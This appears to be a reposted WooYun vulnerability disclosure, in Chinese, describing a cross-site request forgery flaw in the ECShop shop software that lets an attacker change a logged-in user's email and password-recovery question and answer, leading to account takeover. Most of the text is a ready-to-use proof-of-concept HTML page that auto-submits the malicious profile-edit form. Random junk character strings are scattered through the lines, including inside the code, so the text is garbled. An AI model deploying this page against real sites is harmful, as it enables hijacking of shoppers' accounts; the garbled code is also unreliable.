ecshop修改任意用户密码漏洞的CSRF利用

admin

简要描述：
$ p1 Z" B6 i6 @$ }- z" zecshop在设计认证机制的时候存在一个问题，导致恶意用户可以窃取其他用户的密码，这个过程可以通过xss和csrf实现
9 X, w" k) _4 t* O- H; a4 t) S
& A# ~  h# F  CDemo For:http://www.wooyun.org/bug.php?action=view&id=395

详细说明：
利用csrf和xss可以突破官方所说的“障碍”
xss版本已经有人说明
/ e, Z. J6 W2 R& p8 e这里给出csrf版本
2 E- p; U/ g# @7 d! Z5 y$ _% }$ |
漏洞证明：
2 @+ l2 b* R4 U3 o! `: e<html>
  K, G( H5 d6 g3 f8 W<body>
<form action="http://www.wooyun.org/ecshop/user.php" method="POST">
" Q: {! q* }+ e( A; p) B! F<INPUT TYPE="text" NAME="email" value="hack@wooyun.org">
<INPUT TYPE="text" NAME="act" value="act_edit_profile">
, M: @9 ]% R6 q! w% R6 v<INPUT TYPE="text" NAME="sel_question" value="ecshop">
<INPUT TYPE="text" NAME="passwd_answer" value="exploit">
; y. @2 |- _, U* ]7 u, b</body>
<script>
document.forms[0].submit();
</script>
3 F2 j7 ]1 f3 F& D- h) K</html>
构造该网页，用户在登录情况下访问该网页将导致email以及一些其他安全信息丢失
9 b3 E3 t( I) T& C7 g  W( A- u' y
. s! C, D2 E! \6 D